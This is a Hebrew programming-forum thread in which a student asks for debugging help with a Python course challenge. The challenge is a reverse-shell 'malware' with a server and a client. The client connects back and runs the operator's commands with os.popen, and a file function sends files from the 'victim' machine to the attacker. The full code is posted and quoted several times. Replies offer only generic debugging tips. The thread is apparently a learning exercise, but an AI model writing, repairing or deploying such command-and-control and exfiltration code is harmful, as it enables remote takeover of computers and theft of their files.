דילוג לתוכן
  • דף הבית
  • קטגוריות
  • פוסטים אחרונים
  • משתמשים
  • חיפוש
  • חוקי הפורום
כיווץ
תחומים

תחומים - פורום חרדי מקצועי

💡 רוצה לזכור קריאת שמע בזמן? לחץ כאן!
  1. דף הבית
  2. תכנות
  3. בעיה בבניית CNC בפייתון

בעיה בבניית CNC בפייתון

מתוזמן נעוץ נעול הועבר תכנות
24 פוסטים 6 כותבים 604 צפיות 5 עוקבים
  • מהישן לחדש
  • מהחדש לישן
  • הכי הרבה הצבעות
תגובה
  • תגובה כנושא
התחברו כדי לפרסם תגובה
נושא זה נמחק. רק משתמשים עם הרשאות מתאימות יוכלו לצפות בו.
  • AndroidA מנותק
    AndroidA מנותק
    Android
    כתב ב נערך לאחרונה על ידי Android
    #1

    כפי שכנראה הבנתם אני מנסה ללמוד את התחום ובמסגרת הלימודים אמרו לנו לעשות אתגר בפייתון
    אז ניסיתי להתחיל לפתור אותו ונתקלתי בבעיה אשמח אם תעזרו לי לפותרה, תודה
    מה שאני מנסה לעשות זה נוזקה שמתחברת אליי מהמחשב הנתקף (reverse shell) ואני יכול להריץ פקודות מהמחשב שלי על המחשב הנתקף ולקבל חזרה את הoutput
    זה בעצם הcli רק שאני צריך לבנות גם אפשרות לשליחת קבצים מהנתקף אליי אז פה קצת הסתבכתי, ניסיתי להגדיר שאם אני שולח את המילה file אז הוא יכנס לפונקצייה של העברת קבצים אבל משום מה הקליינט לא מגיב כשאני שולח את המילה הזו. זו בעצם הבעיה הראשונה
    בעיה נוספת היא שאני לא מצליח להריץ פקודות כמו ipconfig, dir, date אבל cd ו whoami אני כן מצליח

    נ.ב. סורי שאין הערות...
    זה הסרבר:

    import socket
    
    host = "0.0.0.0"
    port = 1213
    
    server_socket = socket.socket()
    print("[-] Socket created")
    server_socket.bind((host, port))
    print("[-] Connection binded")
    server_socket.listen()
    print("Waiting for new connection...")
    (client_socket, client_address) = server_socket.accept()
    print(f"victim connected!(address: {client_address}")
    
    # transfers files
    def file():
        while True:  # The path to file
            path_file = input("Please enter the requested file path without the file name: ")
            client_socket.send(path_file.encode())
            data = client_socket.recv(4096).decode()
            if "error" in data.lower():
                print(data)
            else: break
    
        while True:  # file name
            global file_name
            file_name = input("Please enter the name of the requested file (example: image.jpg): ")
            client_socket.send(file_name.encode())
            client_socket.recv(4096).decode()
            if "error" in data.lower():
                print(data)
            else: break
    
        if file_name.lower() != "exit":
            file = open(fr"c:\users\h\desktop\files_from_victim\{file_name}" "wb")
            size = client_socket.recv(1024).decode()
            size = int(size)
            while size > 0:
                file.write(client_socket.recv(1000))
                size -= 1000
            file.close()
        print("returns to CMD")
    
    # CLI
    command = input("CMD> ")
    
    while command.lower() != "exit":
        if command == "file":
            output = client_socket.recv(2048).decode()
            file()
        client_socket.send(command.encode())
        output = client_socket.recv(4096).decode()
        print(output)
        command = input("CMD> ")
    
    client_socket.send("exit".encode())
    client_socket.close()
    server_socket.close()
    

    וזה הקליינט:

    import socket
    import os
    
    server = "10.0.0.4"
    port = 1213
    
    client_socket = socket.socket()
    client_socket.connect((server, port))
    print("Client connect")
    
    # trasfers files
    def file():
        print("in the 'TF'")
        while True:
            path_file = client_socket.recv(2048).decode()
            try:
                os.popen(f"cd {path_file}")
                client_socket.send("Excellent".encode())
                break
            except: client_socket.send("Error!! Please try again".encode())
    
        while True:
            file_name = client_socket.recv(2048).decode()
            try:
                global file
                file = open(file_name, "rb")
                global size
                size = os.path.getsize(file_name)
                client_socket.send("Excellent".encode())
                break
            except: client_socket.send("Error!! Please try again".encode())
    
    
        client_socket.send(str(size).encode())
    
        while size > 0:
            client_socket.send(file.read(1000))
            size -= 1000
    
        file.close()
    # CLI
    command = client_socket.recv(2048).decode()
    print(command)
    while command.lower() != "exit":
        print(command)
        if command == "file":
            client_socket.send("in the 'TF'".encode())
            file()
        try:
            output = os.popen(command).read()
            client_socket.send(f" {output}".encode())
            command = client_socket.recv(2048).decode()
        except:
            client_socket.send("Error!!\nPlease try again".encode())
            command = client_socket.recv(2048).decode()
    
    
    client_socket.close()
    

    הוספתי כמה פרינטים כדי למצוא את הבעיה...
    אשמח לכל הערה ו\או הארה
    מקווה שלא טעיתי בקוד

    הקוד בתהליך בניה

    אף אחד 3א מ 2 תגובות תגובה אחרונה
    0
    • AndroidA Android מחק נושא זה ב
    • AndroidA Android שחזר נושא זה ב
    • AndroidA Android

      כפי שכנראה הבנתם אני מנסה ללמוד את התחום ובמסגרת הלימודים אמרו לנו לעשות אתגר בפייתון
      אז ניסיתי להתחיל לפתור אותו ונתקלתי בבעיה אשמח אם תעזרו לי לפותרה, תודה
      מה שאני מנסה לעשות זה נוזקה שמתחברת אליי מהמחשב הנתקף (reverse shell) ואני יכול להריץ פקודות מהמחשב שלי על המחשב הנתקף ולקבל חזרה את הoutput
      זה בעצם הcli רק שאני צריך לבנות גם אפשרות לשליחת קבצים מהנתקף אליי אז פה קצת הסתבכתי, ניסיתי להגדיר שאם אני שולח את המילה file אז הוא יכנס לפונקצייה של העברת קבצים אבל משום מה הקליינט לא מגיב כשאני שולח את המילה הזו. זו בעצם הבעיה הראשונה
      בעיה נוספת היא שאני לא מצליח להריץ פקודות כמו ipconfig, dir, date אבל cd ו whoami אני כן מצליח

      נ.ב. סורי שאין הערות...
      זה הסרבר:

      import socket
      
      host = "0.0.0.0"
      port = 1213
      
      server_socket = socket.socket()
      print("[-] Socket created")
      server_socket.bind((host, port))
      print("[-] Connection binded")
      server_socket.listen()
      print("Waiting for new connection...")
      (client_socket, client_address) = server_socket.accept()
      print(f"victim connected!(address: {client_address}")
      
      # transfers files
      def file():
          while True:  # The path to file
              path_file = input("Please enter the requested file path without the file name: ")
              client_socket.send(path_file.encode())
              data = client_socket.recv(4096).decode()
              if "error" in data.lower():
                  print(data)
              else: break
      
          while True:  # file name
              global file_name
              file_name = input("Please enter the name of the requested file (example: image.jpg): ")
              client_socket.send(file_name.encode())
              client_socket.recv(4096).decode()
              if "error" in data.lower():
                  print(data)
              else: break
      
          if file_name.lower() != "exit":
              file = open(fr"c:\users\h\desktop\files_from_victim\{file_name}" "wb")
              size = client_socket.recv(1024).decode()
              size = int(size)
              while size > 0:
                  file.write(client_socket.recv(1000))
                  size -= 1000
              file.close()
          print("returns to CMD")
      
      # CLI
      command = input("CMD> ")
      
      while command.lower() != "exit":
          if command == "file":
              output = client_socket.recv(2048).decode()
              file()
          client_socket.send(command.encode())
          output = client_socket.recv(4096).decode()
          print(output)
          command = input("CMD> ")
      
      client_socket.send("exit".encode())
      client_socket.close()
      server_socket.close()
      

      וזה הקליינט:

      import socket
      import os
      
      server = "10.0.0.4"
      port = 1213
      
      client_socket = socket.socket()
      client_socket.connect((server, port))
      print("Client connect")
      
      # trasfers files
      def file():
          print("in the 'TF'")
          while True:
              path_file = client_socket.recv(2048).decode()
              try:
                  os.popen(f"cd {path_file}")
                  client_socket.send("Excellent".encode())
                  break
              except: client_socket.send("Error!! Please try again".encode())
      
          while True:
              file_name = client_socket.recv(2048).decode()
              try:
                  global file
                  file = open(file_name, "rb")
                  global size
                  size = os.path.getsize(file_name)
                  client_socket.send("Excellent".encode())
                  break
              except: client_socket.send("Error!! Please try again".encode())
      
      
          client_socket.send(str(size).encode())
      
          while size > 0:
              client_socket.send(file.read(1000))
              size -= 1000
      
          file.close()
      # CLI
      command = client_socket.recv(2048).decode()
      print(command)
      while command.lower() != "exit":
          print(command)
          if command == "file":
              client_socket.send("in the 'TF'".encode())
              file()
          try:
              output = os.popen(command).read()
              client_socket.send(f" {output}".encode())
              command = client_socket.recv(2048).decode()
          except:
              client_socket.send("Error!!\nPlease try again".encode())
              command = client_socket.recv(2048).decode()
      
      
      client_socket.close()
      

      הוספתי כמה פרינטים כדי למצוא את הבעיה...
      אשמח לכל הערה ו\או הארה
      מקווה שלא טעיתי בקוד

      הקוד בתהליך בניה

      אף אחד 3א מנותק
      אף אחד 3א מנותק
      אף אחד 3
      כתב ב נערך לאחרונה על ידי
      #2

      @Android כתב בבעיה בבניית CNC בפייתון:

      הבעיה הראשונה היא שיש פקודות שזה לא יכול להריץ (כמו ipconfig)

      למה לא ככה ?

      os.system("ipconfig")
      

      אתה מתכוון איך לתפוס את הפלט ?

      AndroidA תגובה 1 תגובה אחרונה
      0
      • אף אחד 3א אף אחד 3

        @Android כתב בבעיה בבניית CNC בפייתון:

        הבעיה הראשונה היא שיש פקודות שזה לא יכול להריץ (כמו ipconfig)

        למה לא ככה ?

        os.system("ipconfig")
        

        אתה מתכוון איך לתפוס את הפלט ?

        AndroidA מנותק
        AndroidA מנותק
        Android
        כתב ב נערך לאחרונה על ידי Android
        #3

        @אף-אחד-3 אני רוצה שזה יהיה עם ממשק כלומר שאני יכול להריץ פקודה אחר פקודה ע"י input

        yossizY תגובה 1 תגובה אחרונה
        0
        • AndroidA Android

          @אף-אחד-3 אני רוצה שזה יהיה עם ממשק כלומר שאני יכול להריץ פקודה אחר פקודה ע"י input

          yossizY מנותק
          yossizY מנותק
          yossiz
          כתב ב נערך לאחרונה על ידי yossiz
          #4

          @Android יום אחד לכשתגיע לזה, תזכור מה שאמר לך פעם זקן אחד, שאם היית רק יודע למקד/לבודד את השאלה, היית כבר מגיע לתשובה בכוחות עצמך, או לפחות היית עושה חצי מהדרך בכוחות עצמך...
          (שאלה טובה - חוץ ממה שזה עוזר לשואל - גם מזמינה תשובות טובות של אחרים)

          📧 יוסי@מייל.קום | 🌎 בלוג | ☕ קפה

          AndroidA תגובה 1 תגובה אחרונה
          7
          • yossizY yossiz

            @Android יום אחד לכשתגיע לזה, תזכור מה שאמר לך פעם זקן אחד, שאם היית רק יודע למקד/לבודד את השאלה, היית כבר מגיע לתשובה בכוחות עצמך, או לפחות היית עושה חצי מהדרך בכוחות עצמך...
            (שאלה טובה - חוץ ממה שזה עוזר לשואל - גם מזמינה תשובות טובות של אחרים)

            AndroidA מנותק
            AndroidA מנותק
            Android
            כתב ב נערך לאחרונה על ידי Android
            #5

            @yossiz כתב בבעיה בבניית CNC בפייתון:

            @Android יום אחד לכשתגיע לזה, תזכור מה שאמר לך פעם זקן אחד, שאם היית רק יודע למקד/לבודד את השאלה, היית כבר מגיע לתשובה בכוחות עצמך, או לפחות היית עושה חצי מהדרך בכוחות עצמך...
            (שאלה טובה - חוץ ממה שזה עוזר לשואל - גם מזמינה תשובות טובות של אחרים)

            undefinedundefined
            זה לא מספיק?

            @Android כתב בבעיה בבניית CNC בפייתון:

            הבעיות ככל הנראה נמצאות ב CLI

            כי יותר מזה אני לא יודע
            ניסיתי ובדקתי ולא הגעתי למסקנה מה לא כשורה

            חגיח תגובה 1 תגובה אחרונה
            0
            • AndroidA Android

              @yossiz כתב בבעיה בבניית CNC בפייתון:

              @Android יום אחד לכשתגיע לזה, תזכור מה שאמר לך פעם זקן אחד, שאם היית רק יודע למקד/לבודד את השאלה, היית כבר מגיע לתשובה בכוחות עצמך, או לפחות היית עושה חצי מהדרך בכוחות עצמך...
              (שאלה טובה - חוץ ממה שזה עוזר לשואל - גם מזמינה תשובות טובות של אחרים)

              undefinedundefined
              זה לא מספיק?

              @Android כתב בבעיה בבניית CNC בפייתון:

              הבעיות ככל הנראה נמצאות ב CLI

              כי יותר מזה אני לא יודע
              ניסיתי ובדקתי ולא הגעתי למסקנה מה לא כשורה

              חגיח מנותק
              חגיח מנותק
              חגי
              כתב ב נערך לאחרונה על ידי
              #6

              @Android
              רק אציין שראיתי את הפוסט ולא הבנתי מה השאלה, אז המשכתי הלאה.
              רק כתבת שלא הצלחת ולא הבנתי מה ניסית לעשות ומה לא עבד, ולא היה לי כוח לעבור על כל הקוד שלך בשביל לנסות להבין במה אני אמור להתמקד, כי אני אפילו לא יודע מה הקוד אמור לעשות.

              וגם לכתוב שהבעיה בCLI זה לא מבודד כלום. זה רק אומר שהקוד שלך עובד ויש סיבה אחרת שזה לא עושה מה שאתה רוצה, לא?

              AndroidA תגובה 1 תגובה אחרונה
              8
              • חגיח חגי

                @Android
                רק אציין שראיתי את הפוסט ולא הבנתי מה השאלה, אז המשכתי הלאה.
                רק כתבת שלא הצלחת ולא הבנתי מה ניסית לעשות ומה לא עבד, ולא היה לי כוח לעבור על כל הקוד שלך בשביל לנסות להבין במה אני אמור להתמקד, כי אני אפילו לא יודע מה הקוד אמור לעשות.

                וגם לכתוב שהבעיה בCLI זה לא מבודד כלום. זה רק אומר שהקוד שלך עובד ויש סיבה אחרת שזה לא עושה מה שאתה רוצה, לא?

                AndroidA מנותק
                AndroidA מנותק
                Android
                כתב ב נערך לאחרונה על ידי
                #7

                @חגי כתב בבעיה בבניית CNC בפייתון:

                @Android
                רק אציין שראיתי את הפוסט ולא הבנתי מה השאלה, אז המשכתי הלאה.
                רק כתבת שלא הצלחת ולא הבנתי מה ניסית לעשות ומה לא עבד, ולא היה לי כוח לעבור על כל הקוד שלך בשביל לנסות להבין במה אני אמור להתמקד, כי אני אפילו לא יודע מה הקוד אמור לעשות.

                וגם לכתוב שהבעיה בCLI זה לא מבודד כלום. זה רק אומר שהקוד שלך עובד ויש סיבה אחרת שזה לא עושה מה שאתה רוצה, לא?

                מה שאני מנסה לעשות זה נוזקה שמתחברת אליי מהמחשב הנתקף (reverse shell) ואני יכול להריץ פקודות מהמחשב שלי על המחשב הנתקף ולקבל חזרה את הoutput
                זה בעצם הcli רק שאני צריך לבנות גם אפשרות לשליחת קבצים מהנתקף אליי אז פה קצת הסתבכתי, ניסיתי להגדיר שאם אני שולח את המילה file אז הוא יכנס לפונקצייה של העברת קבצים אבל משום מה הקליינט לא מגיב כשאני שולח את המילה הזו. זו בעצם הבעיה הראשונה
                בעיה נוספת היא שאני לא מצליח להריץ פקודות כמו ipconfig, dir, date אבל cd ו whoami אני כן מצליח

                מקווה שעכשיו זה יותר ברור אבל אם לא אני אנסה להסביר יותר

                תגובה 1 תגובה אחרונה
                0
                • חגיח מנותק
                  חגיח מנותק
                  חגי
                  כתב ב נערך לאחרונה על ידי
                  #8

                  אני עדיין לא יודע מה אתה מצפה שהקוד יעשה, כי הבאת את כולו.
                  בכל מקרה הדבר הראשון שקופץ לי זה שאתה מיד מתחיל עם socket.recv גם בקליינט וגם בשרת מיד לאחר יצירת החיבור, זה אומר שהתוכנה תהיה תקועה עד שמישהו ישלח משהו, זה deadlock.
                  א'. תלמד על הספריה select שנועדה עבור דברים כאלה.
                  ב'. אל תקרא לrecv סתם, תשתמש בזה כשאתה באמת מצפה לקבל משהו מהצד השני.

                  AndroidA תגובה 1 תגובה אחרונה
                  1
                  • חגיח חגי

                    אני עדיין לא יודע מה אתה מצפה שהקוד יעשה, כי הבאת את כולו.
                    בכל מקרה הדבר הראשון שקופץ לי זה שאתה מיד מתחיל עם socket.recv גם בקליינט וגם בשרת מיד לאחר יצירת החיבור, זה אומר שהתוכנה תהיה תקועה עד שמישהו ישלח משהו, זה deadlock.
                    א'. תלמד על הספריה select שנועדה עבור דברים כאלה.
                    ב'. אל תקרא לrecv סתם, תשתמש בזה כשאתה באמת מצפה לקבל משהו מהצד השני.

                    AndroidA מנותק
                    AndroidA מנותק
                    Android
                    כתב ב נערך לאחרונה על ידי
                    #9

                    @חגי כתב בבעיה בבניית CNC בפייתון:

                    ב'. אל תקרא לrecv סתם, תשתמש בזה כשאתה באמת מצפה לקבל משהו מהצד השני.

                    הסרבר מתחיל בsend והקליינט בrecv
                    הrecv בסרבר שבא אחרי הif נועד כדי לוודא שגם הקליינט נכנס לפונקצייה

                    @Android כתב בבעיה בבניית CNC בפייתון:

                    if command == "file":
                    output = client_socket.recv(2048).decode()
                    file()

                    חגיח תגובה 1 תגובה אחרונה
                    0
                    • AndroidA Android

                      @חגי כתב בבעיה בבניית CNC בפייתון:

                      ב'. אל תקרא לrecv סתם, תשתמש בזה כשאתה באמת מצפה לקבל משהו מהצד השני.

                      הסרבר מתחיל בsend והקליינט בrecv
                      הrecv בסרבר שבא אחרי הif נועד כדי לוודא שגם הקליינט נכנס לפונקצייה

                      @Android כתב בבעיה בבניית CNC בפייתון:

                      if command == "file":
                      output = client_socket.recv(2048).decode()
                      file()

                      חגיח מנותק
                      חגיח מנותק
                      חגי
                      כתב ב נערך לאחרונה על ידי
                      #10

                      @Android
                      צודק 😮

                      AndroidA תגובה 1 תגובה אחרונה
                      0
                      • חגיח חגי

                        @Android
                        צודק 😮

                        AndroidA מנותק
                        AndroidA מנותק
                        Android
                        כתב ב נערך לאחרונה על ידי Android
                        #11

                        @חגי אתה טוען שהdef מיותר? אני אמחק?
                        (מהפורום כמובן)

                        חגיח תגובה 1 תגובה אחרונה
                        0
                        • AndroidA Android

                          @חגי אתה טוען שהdef מיותר? אני אמחק?
                          (מהפורום כמובן)

                          חגיח מנותק
                          חגיח מנותק
                          חגי
                          כתב ב נערך לאחרונה על ידי
                          #12

                          @Android אני לא טוען שמשהו מיותר, פשוט שהעלת הרבה קוד, ולי באופן אישי אין את הסבלנות לנסות לבודד מאיפה נובע הבאג.

                          אם אתה היית מצליח לבודד שורה שורה (היינו לדבג) ולמצוא איפה זה נכשל, ואז היית מכוון בדיוק לשורה ששם זה נכשל, אז יכול להיות שהיה יותר קל לענות לך.

                          AndroidA תגובה 1 תגובה אחרונה
                          2
                          • חגיח חגי

                            @Android אני לא טוען שמשהו מיותר, פשוט שהעלת הרבה קוד, ולי באופן אישי אין את הסבלנות לנסות לבודד מאיפה נובע הבאג.

                            אם אתה היית מצליח לבודד שורה שורה (היינו לדבג) ולמצוא איפה זה נכשל, ואז היית מכוון בדיוק לשורה ששם זה נכשל, אז יכול להיות שהיה יותר קל לענות לך.

                            AndroidA מנותק
                            AndroidA מנותק
                            Android
                            כתב ב נערך לאחרונה על ידי
                            #13

                            @חגי כתב בבעיה בבניית CNC בפייתון:

                            היינו לדבג

                            אני עוד לא יודע לדבג וגם הקטע שהקוד לא מוציא שגיאה אלא הקליינט פשוט נתקע

                            חגיח תגובה 1 תגובה אחרונה
                            0
                            • AndroidA Android

                              @חגי כתב בבעיה בבניית CNC בפייתון:

                              היינו לדבג

                              אני עוד לא יודע לדבג וגם הקטע שהקוד לא מוציא שגיאה אלא הקליינט פשוט נתקע

                              חגיח מנותק
                              חגיח מנותק
                              חגי
                              כתב ב נערך לאחרונה על ידי
                              #14

                              @Android
                              זה נשמע כמו deadlock, לדבג זה מאוד פשוט, אתה דוחף print דיסקרפטיבי בכל מקום עד שאתה מוצא באיזו שורה זה נתקע.
                              למי שיש יותר כח רצון, אפשר להשתמש בpdb

                              import pdb;pdb.set_trace();
                              

                              מי שממש רוצה ללכת על כל הקופה וזורם לו אדרנלין בדם, והחיים עוד לפניו, יכול להשתמש בכלי הדיבוג של vscode לפייתון, או בpycharm. אבל זה רק אם אתה ממש מוכן לזה.

                              dovidD תגובה 1 תגובה אחרונה
                              2
                              • חגיח חגי

                                @Android
                                זה נשמע כמו deadlock, לדבג זה מאוד פשוט, אתה דוחף print דיסקרפטיבי בכל מקום עד שאתה מוצא באיזו שורה זה נתקע.
                                למי שיש יותר כח רצון, אפשר להשתמש בpdb

                                import pdb;pdb.set_trace();
                                

                                מי שממש רוצה ללכת על כל הקופה וזורם לו אדרנלין בדם, והחיים עוד לפניו, יכול להשתמש בכלי הדיבוג של vscode לפייתון, או בpycharm. אבל זה רק אם אתה ממש מוכן לזה.

                                dovidD מנותק
                                dovidD מנותק
                                dovid
                                ניהול
                                כתב ב נערך לאחרונה על ידי
                                #15

                                @חגי כתב בבעיה בבניית CNC בפייתון:

                                מי שממש רוצה ללכת על כל הקופה וזורם לו אדרנלין בדם, והחיים עוד לפניו,

                                חחח...
                                כל כך קשה לדבאג בpycharm?
                                יש מוניטין מאוד טוב לחברה הזאת.

                                • מנטור אישי בתכנות והמסתעף – להתקדם לשלב הבא!
                                • בכל נושא אפשר ליצור קשר dovid@tchumim.com
                                חגיח תגובה 1 תגובה אחרונה
                                0
                                • dovidD dovid

                                  @חגי כתב בבעיה בבניית CNC בפייתון:

                                  מי שממש רוצה ללכת על כל הקופה וזורם לו אדרנלין בדם, והחיים עוד לפניו,

                                  חחח...
                                  כל כך קשה לדבאג בpycharm?
                                  יש מוניטין מאוד טוב לחברה הזאת.

                                  חגיח מנותק
                                  חגיח מנותק
                                  חגי
                                  כתב ב נערך לאחרונה על ידי חגי
                                  #16

                                  @dovid
                                  חחח זאת היתה בדיחה בגלל שהוא כתב שהוא עדיין לא יודע לדבג, זה בעיקרון הפיתרון הכי מתבקש,
                                  האפשרות הכי קלה היא באמצעות print, האפשרות הכי קשה (אבל הופכת אותך להיות מאוד גזעי, בעיקר כשאתה לומד סייבר) זה להשתמש בpdb.
                                  האפשרות הנורמלית באמת זה להשתמש בכלי דיבוג של IDE כלשהו כמו pycharm.

                                  AndroidA תגובה 1 תגובה אחרונה
                                  3
                                  • חגיח חגי

                                    @dovid
                                    חחח זאת היתה בדיחה בגלל שהוא כתב שהוא עדיין לא יודע לדבג, זה בעיקרון הפיתרון הכי מתבקש,
                                    האפשרות הכי קלה היא באמצעות print, האפשרות הכי קשה (אבל הופכת אותך להיות מאוד גזעי, בעיקר כשאתה לומד סייבר) זה להשתמש בpdb.
                                    האפשרות הנורמלית באמת זה להשתמש בכלי דיבוג של IDE כלשהו כמו pycharm.

                                    AndroidA מנותק
                                    AndroidA מנותק
                                    Android
                                    כתב ב נערך לאחרונה על ידי Android
                                    #17

                                    @חגי כתב בבעיה בבניית CNC בפייתון:

                                    האפשרות הנורמלית באמת זה להשתמש בכלי דיבוג של IDE כלשהו כמו pycharm.

                                    אני משתמש בpycharm אבל לא ממש יודע לדבג (לשים פרינטים זה לא תמיד עוזר)
                                    אשמח להסבר או להפנייה להסבר. תודה

                                    dovidD תגובה 1 תגובה אחרונה
                                    0
                                    • AndroidA Android

                                      @חגי כתב בבעיה בבניית CNC בפייתון:

                                      האפשרות הנורמלית באמת זה להשתמש בכלי דיבוג של IDE כלשהו כמו pycharm.

                                      אני משתמש בpycharm אבל לא ממש יודע לדבג (לשים פרינטים זה לא תמיד עוזר)
                                      אשמח להסבר או להפנייה להסבר. תודה

                                      dovidD מנותק
                                      dovidD מנותק
                                      dovid
                                      ניהול
                                      כתב ב נערך לאחרונה על ידי
                                      #18

                                      @Android אני בחיים (נראה לי) לא כתבתי בפייתון,
                                      אבל זה לא אמור להיות מסובך וזה יכול מאוד לקדם אותך גם אם אתה לא חושב להיות מתכנת אלא איש סייבר.
                                      מחיפוש גוגל נראה שיש מקורות טובים, תשתדל לבדוק:

                                      אם אתה מעדיף טקסטואלי
                                      https://www.jetbrains.com/help/pycharm/debugging-your-first-python-application.html

                                      • מנטור אישי בתכנות והמסתעף – להתקדם לשלב הבא!
                                      • בכל נושא אפשר ליצור קשר dovid@tchumim.com
                                      AndroidA תגובה 1 תגובה אחרונה
                                      4
                                      • dovidD dovid

                                        @Android אני בחיים (נראה לי) לא כתבתי בפייתון,
                                        אבל זה לא אמור להיות מסובך וזה יכול מאוד לקדם אותך גם אם אתה לא חושב להיות מתכנת אלא איש סייבר.
                                        מחיפוש גוגל נראה שיש מקורות טובים, תשתדל לבדוק:

                                        אם אתה מעדיף טקסטואלי
                                        https://www.jetbrains.com/help/pycharm/debugging-your-first-python-application.html

                                        AndroidA מנותק
                                        AndroidA מנותק
                                        Android
                                        כתב ב נערך לאחרונה על ידי
                                        #19
                                        פוסט זה נמחק!
                                        תגובה 1 תגובה אחרונה
                                        0
                                        • AndroidA Android

                                          כפי שכנראה הבנתם אני מנסה ללמוד את התחום ובמסגרת הלימודים אמרו לנו לעשות אתגר בפייתון
                                          אז ניסיתי להתחיל לפתור אותו ונתקלתי בבעיה אשמח אם תעזרו לי לפותרה, תודה
                                          מה שאני מנסה לעשות זה נוזקה שמתחברת אליי מהמחשב הנתקף (reverse shell) ואני יכול להריץ פקודות מהמחשב שלי על המחשב הנתקף ולקבל חזרה את הoutput
                                          זה בעצם הcli רק שאני צריך לבנות גם אפשרות לשליחת קבצים מהנתקף אליי אז פה קצת הסתבכתי, ניסיתי להגדיר שאם אני שולח את המילה file אז הוא יכנס לפונקצייה של העברת קבצים אבל משום מה הקליינט לא מגיב כשאני שולח את המילה הזו. זו בעצם הבעיה הראשונה
                                          בעיה נוספת היא שאני לא מצליח להריץ פקודות כמו ipconfig, dir, date אבל cd ו whoami אני כן מצליח

                                          נ.ב. סורי שאין הערות...
                                          זה הסרבר:

                                          import socket
                                          
                                          host = "0.0.0.0"
                                          port = 1213
                                          
                                          server_socket = socket.socket()
                                          print("[-] Socket created")
                                          server_socket.bind((host, port))
                                          print("[-] Connection binded")
                                          server_socket.listen()
                                          print("Waiting for new connection...")
                                          (client_socket, client_address) = server_socket.accept()
                                          print(f"victim connected!(address: {client_address}")
                                          
                                          # transfers files
                                          def file():
                                              while True:  # The path to file
                                                  path_file = input("Please enter the requested file path without the file name: ")
                                                  client_socket.send(path_file.encode())
                                                  data = client_socket.recv(4096).decode()
                                                  if "error" in data.lower():
                                                      print(data)
                                                  else: break
                                          
                                              while True:  # file name
                                                  global file_name
                                                  file_name = input("Please enter the name of the requested file (example: image.jpg): ")
                                                  client_socket.send(file_name.encode())
                                                  client_socket.recv(4096).decode()
                                                  if "error" in data.lower():
                                                      print(data)
                                                  else: break
                                          
                                              if file_name.lower() != "exit":
                                                  file = open(fr"c:\users\h\desktop\files_from_victim\{file_name}" "wb")
                                                  size = client_socket.recv(1024).decode()
                                                  size = int(size)
                                                  while size > 0:
                                                      file.write(client_socket.recv(1000))
                                                      size -= 1000
                                                  file.close()
                                              print("returns to CMD")
                                          
                                          # CLI
                                          command = input("CMD> ")
                                          
                                          while command.lower() != "exit":
                                              if command == "file":
                                                  output = client_socket.recv(2048).decode()
                                                  file()
                                              client_socket.send(command.encode())
                                              output = client_socket.recv(4096).decode()
                                              print(output)
                                              command = input("CMD> ")
                                          
                                          client_socket.send("exit".encode())
                                          client_socket.close()
                                          server_socket.close()
                                          

                                          וזה הקליינט:

                                          import socket
                                          import os
                                          
                                          server = "10.0.0.4"
                                          port = 1213
                                          
                                          client_socket = socket.socket()
                                          client_socket.connect((server, port))
                                          print("Client connect")
                                          
                                          # trasfers files
                                          def file():
                                              print("in the 'TF'")
                                              while True:
                                                  path_file = client_socket.recv(2048).decode()
                                                  try:
                                                      os.popen(f"cd {path_file}")
                                                      client_socket.send("Excellent".encode())
                                                      break
                                                  except: client_socket.send("Error!! Please try again".encode())
                                          
                                              while True:
                                                  file_name = client_socket.recv(2048).decode()
                                                  try:
                                                      global file
                                                      file = open(file_name, "rb")
                                                      global size
                                                      size = os.path.getsize(file_name)
                                                      client_socket.send("Excellent".encode())
                                                      break
                                                  except: client_socket.send("Error!! Please try again".encode())
                                          
                                          
                                              client_socket.send(str(size).encode())
                                          
                                              while size > 0:
                                                  client_socket.send(file.read(1000))
                                                  size -= 1000
                                          
                                              file.close()
                                          # CLI
                                          command = client_socket.recv(2048).decode()
                                          print(command)
                                          while command.lower() != "exit":
                                              print(command)
                                              if command == "file":
                                                  client_socket.send("in the 'TF'".encode())
                                                  file()
                                              try:
                                                  output = os.popen(command).read()
                                                  client_socket.send(f" {output}".encode())
                                                  command = client_socket.recv(2048).decode()
                                              except:
                                                  client_socket.send("Error!!\nPlease try again".encode())
                                                  command = client_socket.recv(2048).decode()
                                          
                                          
                                          client_socket.close()
                                          

                                          הוספתי כמה פרינטים כדי למצוא את הבעיה...
                                          אשמח לכל הערה ו\או הארה
                                          מקווה שלא טעיתי בקוד

                                          הקוד בתהליך בניה

                                          מ מנותק
                                          מ מנותק
                                          מתכנת לפעמים
                                          כתב ב נערך לאחרונה על ידי
                                          #20

                                          @Android עצה ממני - תלמד על pickle פשוט יקל עליך פי מאה בערך. זו ספריה שמאפשרת לשלוח אובייקטים של פייתון (היא עושה להם סארליזציה או איך שקוראים לזה בעצמה...) בקיצור תלמד והכל יהיה יותר פשוט.

                                          תגובה 1 תגובה אחרונה
                                          0
                                          תגובה
                                          • תגובה כנושא
                                          התחברו כדי לפרסם תגובה
                                          • מהישן לחדש
                                          • מהחדש לישן
                                          • הכי הרבה הצבעות


                                          • 1
                                          • 2
                                          בא תתחבר לדף היומי!
                                          • התחברות

                                          • אין לך חשבון עדיין? הרשמה

                                          • התחברו או הירשמו כדי לחפש.
                                          • פוסט ראשון
                                            פוסט אחרון
                                          0
                                          • דף הבית
                                          • קטגוריות
                                          • פוסטים אחרונים
                                          • משתמשים
                                          • חיפוש
                                          • חוקי הפורום